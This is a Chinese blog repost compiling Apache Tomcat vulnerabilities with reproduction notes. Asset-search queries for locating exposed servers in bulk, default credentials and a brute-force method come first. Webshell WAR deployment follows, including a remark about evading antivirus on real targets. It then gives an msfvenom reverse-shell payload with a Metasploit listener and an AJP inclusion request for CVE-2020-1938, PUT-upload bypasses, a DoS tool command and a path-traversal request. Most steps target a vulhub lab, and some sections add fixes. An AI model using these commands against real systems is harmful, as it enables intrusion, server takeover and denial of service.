Tomcat常见漏洞汇总
原创
zm
zm
陌笙不太懂安全
2025年11月12日%2019:06
河北
在小说阅读器读本章
去阅读
免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号陌笙不太懂安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!
作者:zm原文链接:https://www.freebuf.com/articles/web/456155.html
前言
Tomcat常见漏洞汇总,将网上的poc整理然后部分复现笔记记录一下,大佬勿喷,可以直接跳过。
小白可以直接收藏下来学习一下很多poc都直接给出来了,重点看漏洞复现模块,基本就是我的笔记。
如果,有不对的可以指正一下,一起学习,演示地址均为国外地址或者靶场。
产品介绍
Apache%20Tomcat是由Apache软件基金会旗下Jakarta项目组所维护的一款开源、免费的轻量级Java%20Web应用服务器。该项目由Apache、Sun%20Microsystems(现属Oracle公司)以及全球众多开发者和企业共同协作开发,确保了其技术路线的权威性与前瞻性。作为Servlet、JSP和EL等规范的官方参考实现,Tomcat始终致力于紧跟并第一时间支持最新的Java%20EE(现Jakarta%20EE)技术标准,为全球Java开发者提供了一个高度标准化、技术先进的Web应用运行环境。Tomcat的核心功能是作为一个高性能的Servlet容器,负责Java%20Web应用程序(通常打包为WAR文件)的加载、管理并响应用户请求。它构成了JSP动态网页编译、Servlet生命周期管理及HTTP会话管理的核心基础,是实现Java%20Web服务不可或缺的关键底层支撑。
凭借其纯正的Java技术血统、出色的运行时性能、卓越的系统稳定性以及开源社区提供的强大支持,Tomcat不仅在广大Java开发者与爱好者中建立了极高的声誉,也赢得了全球众多软件开发商与企业级用户的广泛信赖。从传统的企业内部信息系统,到基于Spring%20Boot的现代化微服务架构,Tomcat都扮演着至关重要的角色。它已从一款优秀的开源软件,演进成为轻量级Java%20Web应用服务器领域的事实标准,是构建可靠、高效Java%20Web应用的首选平台。
Tomcat官网地址
https://tomcat.apache.org/
资产测绘
fofa语法:
icon\_hash=\"-297069493\"
title=\"Apache%20Tomcat\"
app=\"APACHE-Tomcat\"
body=\"Tomcat%20Connectors\"icon\_hash=\"-297069493\"%20||%20title=\"Apache%20Tomcat\"%20||%20app=\"APACHE-Tomcat\"%20||%20body=\"Tomcat%20Connectors\"
hunter语法:
app.name==\"Apache%20Tomcat\"
web.title=\"Apache%20Tomcat\"web.icon==\"4644f2d45601037b8423d45e13194c93\"
web.body=\"Tomcat%20Connectors\"app.name==\"Apache%20Tomcat\"%20||%20web.title=\"Apache%20Tomcat\"%20||%20web.icon==\"4644f2d45601037b8423d45e13194c93\"%20||%20web.body=\"Tomcat%20Connectors\"
Tomcat示例目录泄露
Tomcat在使用时一般直接下载源代码包,解压后直接使用。默认情况下,Tomcat源码包Web%20根目录下包含servlets-examples和tomcat-docs目录,这些目录下的某些样例存在安全风险。
例如,session样例(/examples/servlets/servlet/SessionExample)允许用户对session进行操纵,攻击者可以利用绕过网站验证机制直接登录后台。
有图有真相,当时实习给的危害等级表,看到tomcat这个页面,直接提就行,不过我们当时做的是金融项目,可能收录范围比较广,毕竟内网ip地址泄露都收,如果收的话可以直接用上面测绘语法配和其他语法直接批量获取,或者使用指纹识别工具进行批量测试。
Tomcat弱口令漏洞
Tomcat默认提供的管理页面(Manager)采用Basic认证方式进行身份验证。该认证机制本身安全性较弱,易受到暴力破解攻击,攻击者可使用Burp%20Suite等工具对登录凭证进行自动化爆破。
此外,在安装后若管理员未对默认配置进行安全加固,特别是未修改
/conf/tomcat-users.xml文件中的初始凭据,攻击者可直接使用默认用户名密码(tomcat:tomcat)成功登录管理后台,从而获取服务器应用部署与管理的高级权限,造成严重安全风险。
常见弱口令
tomcat%20/%20tomcat
admin%20/%20admin
root%20/%20root
tomcat%20/%20<空口令>
admin%20/%20<空口令>
tomcat/123456
admin/123456如果没其他突破点的话可以考虑进行爆破。
通过一些信息收集发现这个页面点击%20Manager%20App
输入密码使用bp进行抓包,然后发送到爆破模块
这段base64就是我们刚才输入的账号密码信息
解码进行查看
可以发现格式为tomcat:tomcat
所以这里需要添加三个参数并且拼接到一起,格式为:%20用户名:密码,提交的时候进行base64加密,攻击模式选择默认的sniper攻击(狙击手模式)即可。
payload类型选择自定义迭代器,payload配置位置1,输入我们的用户名字典
payload配置位置2,输入:
payload配置位置3:
输入我们的密码字典
payload处理选择base64,payload编码不要开启。
最后点击开始攻击即可,401是未授权,200是攻击成功。
第二种爆破方式
直接使用tomcat这种格式(user:pass)的字典,配合base64编码进行爆破即可。
200就是攻击成功。
输入正确的密码进行登录
Tomcat后台getshell漏洞
Tomcat作为Servlet容器,支持通过其管理后台(Manager)或管理API对WAR包进行热部署。该特性在赋予管理员便捷运维能力的同时,也引入了严重的安全风险。当攻击者通过弱口令爆破、权限配置不当或其它漏洞获取到后台管理权限后,便可利用此功能,将包含Webshell的恶意WAR包直接上传至服务器。Tomcat会自动解压并部署该WAR包,从而使得攻击者植入的Webshell被解析并运行在web目录下,最终获取服务器的命令执行控制权。
漏洞复现
通过上一个弱口令漏洞我们已经成功进入后台,接下来就可以后台部署war包进行getshell。
点击Manager%20App
输入admin/admin进入后台
然后可以看到选择文件进行部署war包
war包制作:
先使用哥斯拉做jsp的马子
生成之后保存为test.jsp
然后压缩为test.zip,再将压缩包重命名为test.war找到刚才那个上传点进行上传
点击上传上传之后访问地址%20http://xxxxxx/test/test.jsp可以看到空白,之后使用哥斯拉连接即可。
(test应该和自己配置的保持一致,木马这里可能访问不到,真实环境大概率得做免杀)
执行命令尝试
over(突破可能有点糊,找的之前挖edusrc的图)
这个漏洞也可以使用fscn,Tomcatscan等工具进行扫描发现
工具链接:
https://github.com/einzbernnn/Tomcatscan
https://github.com/shadow1ng/fscan
漏洞修复
1.设置强密码
conf/tomcat-users.xml
2.删除manger文件
Tomcat%20AJP%20任意文件读取/包含漏洞%20(CVE-2020-1938)
Apache%20Tomcat文件包含漏洞是由Tomcat%20AJP协议存在缺陷而导致,可利用该漏洞通过构造特定参数进行文件包含操作,进而读取受影响Tomcat服务器上的Web应用目录下的任意文件,如配置文件或源代码等。此外,如果目标应用有文件上传功能,攻击者还可以利用这个漏洞配合文件包含来实现远程代码执行,从而控制整个系统。
影响版本
Apache%20Tomcat%206
Apache%20Tomcat%207%20<%207.0.100
Apache%20Tomcat%208%20<%208.5.51
Apache%20Tomcat%209%20<%209.0.31
tomcat原理
Tomcat%20配置了两个Connector,它们分别是%20HTTP%20和%20AJP%20:HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理%20AJP%20协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat%20AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009%20AJP协议端口,两个端口默认均监听在外网ip。
漏洞复现
复现环境:vulhub靶场+windows
靶机:192.168.86.129
攻击机:192.168.86.128
开启靶机
/vulhub/tomcat/CVE-2020-1938#%20docker%20compose%20build
/vulhub/tomcat/CVE-2020-1938#%20docker%20compose%20up%20-d
浏览器访问
使用fscan扫一下
fscan%20-p%201-65535%20-h%20192.168.86.129
再使用nmap扫描一下
nmap%20-sV%20-p%208080,8009%20192.168.86.129
发现可以看到ajp协议对应的端口和tomcat的版本
python2%20CNVD-2020-10487-Tomcat-Ajp-lfi.py%20-p%208009%20-f%20/WEB-INF/web.xml%20192.168.86.129
工具地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
检测,若存在漏洞则可以查看webapps目录下的所有文件
进入dokcer环境查看
docker%20ps%20-a
docker%20exec%20-it%20image-id%20/bin/bash
web.xml文件所在位置
验证完成之后就可以进行漏洞利用的操作了,先利用msf生成一个jsp木马
msfvenom%20-p%20java/jsp\_shell\_reverse\_tcp%20LHOST=192.168.217.139%20LPORT=4444%20R%20>shell.txt
docker%20cp%20/root/桌面/shell.txt%2066ea2cd9d8b5:/usr/local/tomcat/webapps/ROOT/WEB-INF/
上传成功在kali开启监听
msfdb%20run
use%20exploit/multi/handler
set%20payload%20java/jsp\_shell\_reverse\_tcp
set%20lhost%20192.168.86.129
set%20lport%204444
run
但是运行shell脚本之后发现msf的端口监听没有反应,然后可以利用工具发送ajp请求,让上传的文件被tomcat当作jps来解析。下载AJP包构造器ajpfuzzer。
wget%20https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer\_v0.6.jar
下载完成之后再运行
java%20-jar%20ajpfuzzer\_v0.6.jar
然后连接目标端口
connect%20192.168.86.129%208009
构造发送AJP包的命令,/WEB-INF/ma.png为上传的木马路径,11.jsp 可换做 \*.jsp,任意网站目录下不存在的jsp文件,这样tomcat才会去调用DefaultServlet
forwardrequest 2 \"HTTP/1.1\" \"/11.jsp\" 192.168.86.129 192.168.86.129 porto 8009 false \"Cookie:AAAA=BBBB\",\"Accept-Encoding:identity\" \"javax.servlet.include.request\_uri:11.jsp\",\"javax.servlet.include.path\_info:/WEB-INF/shell.txt\",\"javax.servlet.include.servlet\_path:/\"
之后看另一边的监听成功获得了shell
使用漏洞检测工具检测
漏洞修复
1.更新到安全版本
Apache Tomcat 7.0.100
Apache Tomcat 8.5.51
Apache Tomcat 9.0.31
https://tomcat.apache.org/download-70.cgi
https://tomcat.apache.org/download-80.cgi
https://tomcat.apache.org/download-90.cgi
或Github下载:https://github.com/apache/tomcat/releases
2.关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉
3、配置ajp配置中的secretRequired跟secret属性来限制认证
Tomcat 任意文件写入漏洞 (CVE-2017-12615)
本漏洞源于Tomcat服务器配置不当,属于非默认安全配置缺陷。在conf/web.xml配置文件中,readonly参数被显式设置为false,导致允许通过HTTP PUT方法上传任意文件至服务器。
尽管该配置对上传文件的扩展名进行了限制(如禁止上传.jsp后缀文件),攻击者仍可能通过上传其他类型恶意文件(如JSPX、WAR包或特定脚本文件),或结合其他技术手段实现任意代码执行。
需特别说明的是,Tomcat默认配置中readonly值为true,此时禁止使用PUT/DELETE等方法进行文件操作。一旦将其设置为false,即开启了可通过HTTP方法直接操控服务器文件系统的危险能力,显著增加了系统被恶意攻击的风险。
影响版本
主要影响的是Tomcat : 7.0.0-7.0.81
漏洞复现
开启环境,并且查看配置文件conf/web.xml中的readonly是否设置为
false
可以看到这里Tomcat 设置了写入权限(
readonly=false),这导致了我们可以将文件写入服务器的结果。成功运行上述命令后,通过访问网站看到 Tomcat 的示例页面。
浏览器进行访问
http://192.168.86.129:8080/
刷新抓包可以看到是GET方法,进行修改
修改为PUT方法
显示201说明上传成功,去靶机里面查看
Tomcat 在一定程度上检查了文件后缀(不能直接写 jsp),直接上传导致报错,但我们还是可以通过一些文件系统功能绕过限制。
方法一:使用斜杠/,斜杠在文件名中是非法的,所以会被去除(Linux和Windows中都适用)
上传成功
方法二:首先使用%20绕过。%20对应的是空格,在windows中若文件这里在jsp后面添加%20即可达到自动抹去空格的效果。
方法三:使用Windows NTFS流,在jsp后面添加::$DATA
统一进行查看
发现前两个可以上传成功但是第三个不可以因为第三个windows才可以我的是centos7
使用工具进行漏洞检测
漏洞修复
设置 readonly未true
Tomcat 拒绝服务漏洞/CVE-2020-13935
Tomcat 在处理 WebSocket 协议时存在缺陷,其相关组件未对传入的请求数据包进行有效的长度校验。攻击者可利用此缺陷,构造并发送一个经过特殊设计的恶意 WebSocket 请求帧。当服务器处理此异常数据包时,会触发处理逻辑进入无法跳出的无限循环状态,持续耗尽服务器CPU资源,最终导致Tomcat服务完全停止响应,形成拒绝服务(Denial of Service)攻击。
影响版本
9.0.0.M1~9.0.36
10.0.0-M1~10.0.0-M6
8.5.0~8.5.56
7.0.27~7.0.104
漏洞复现
靶机
vulhub:cve-2020-1938在windows上进行工具的编译
CVE-2020-13935-master
执行go build 即可
访问地址 http://192.168.86.129:8080/
http://192.168.86.129:8080/examples/websocket/echo.xhtml
有这个页面就有存在漏洞的可能
在靶机上查看cpu的利用率
然后使用刚才编译号的工具进行攻击
.\tcdos.exe ws://192.168.86.129:8080/examples/websocket/echoStreamAnnotation
这里一直转圈
靶机内部cpu直接被打满
Apache Tomcat曝高危路径遍历漏洞(CVE-2025-55752)
该漏洞允许攻击者通过构造特制的HTTP请求,绕过安全限制非法读取Web应用目录之外的敏感文件(如配置文件、系统文件),从而导致严重的信息泄露风险,该漏洞源于Tomcat在处理某些特定类型的静态资源请求或JSP请求时,对用户输入的URL路径规范化处理存在缺陷。攻击者可以利用../等路径遍历序列(或其编码形式)来突破Web应用的根目录限制,过发送一个包含特殊路径序列的请求,攻击者能够访问并下载位于WEB-INF/目录下的web.xml、classes文件夹中的源代码等受保护文件,甚至遍历至服务器文件系统的其他敏感位置。
影响版本
Apache Tomcat 11.x:11.0.0-M1 ≤ 版本 < 11.0.11
Apache Tomcat 10.x:10.1.0-M1 ≤ 版本 < 10.0.45
Apache Tomcat 9.x:9.0.0-M1 ≤ 版本 < 9.0.109
利用条件
1.已启用RewriteValve组件
必须在Tomcat的server.xml或应用上下文中明确配置并启用org.apache.catalina.valves.rewrite.RewriteValve重写阀门。该组件非Tomcat默认启用,是其必备前置条件。
2.重写规则存在逻辑缺陷
所配置的RewriteValve规则中需存在“可被利用的逻辑缺口”,例如规则集未能对请求路径进行严格过滤或存在绕过可能。需要注意的是,部分严格定义的重写规则可能会在事实上阻断漏洞利用路径。
启用文件修改类HTTP方法
3.需在Web应用配置中启用PUT等支持文件上传或修改的HTTP方法,或直接启用了WebDAV功能。这是实现远程代码执行的最终必要条件,为攻击者上传恶意载荷提供了通道。
漏洞复现
通过curl工具发送包含路径遍历字符的请求,尝试访问/WEB-INF/web.xml
curl -i \"http://127.0.0.1:8080/download?path=%2FWEB-INF%2Fweb.xml\"
返回HTTP 200状态码,并成功获取web.xml文件内容,则说明利用成功
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
Tomcat 远程代码执行(CVE-2019-0232)
CVE-2019-0232是一个存在于Apache Tomcat中的高危远程代码执行漏洞。该漏洞源于Tomcat在Windows平台下启用CGI Servlet时,对命令行参数的处理存在缺陷,允许攻击者注入并执行任意操作系统命令,从而完全控制受影响服务器。
影响版本
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
必要条件
操作系统为Windows,并在conf/web.xml中取消了对CGI Servlet的注释(即启用了CGI功能)。
Tomcat反序列化漏洞(cve-2016-8735)
CVE-2016-8735是Apache Tomcat中存在的一个高危远程代码执行漏洞。该漏洞源于Tomcat所使用的JmxRemoteLifecycleListener组件在反序列化JMX数据时未进行安全限制,与著名的Java反序列化漏洞(CVE-2015-4852)原理类似,允许攻击者通过构造恶意的序列化数据在目标服务器上执行任意代码。
影响版本
Apache Tomcat 9.0.0.M1 -9.0.0.M11
Apache Tomcat 8.5.0 -8.5.6
Apache Tomcat 8.0.0.RC1 - 8.0.38
Apache Tomcat 7.0.0 - 7.0.72
Apache Tomcat 6.0.0 - 6.0.47
必要条件:在server.xml中配置并启用了JmxRemoteLifecycleListener服务。
工具推荐
afrog
afrog.exe -s tomcat -pl
常用参数
-s #指定漏洞类型
-S #指定等级
-pl #列出相关poc
-T #指定多个目标文件
-t 指定单个目标
Tomcatscan
总结
在网络安全的世界里,停止学习就意味着落后,共勉!
后台回复加群加入交流群
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论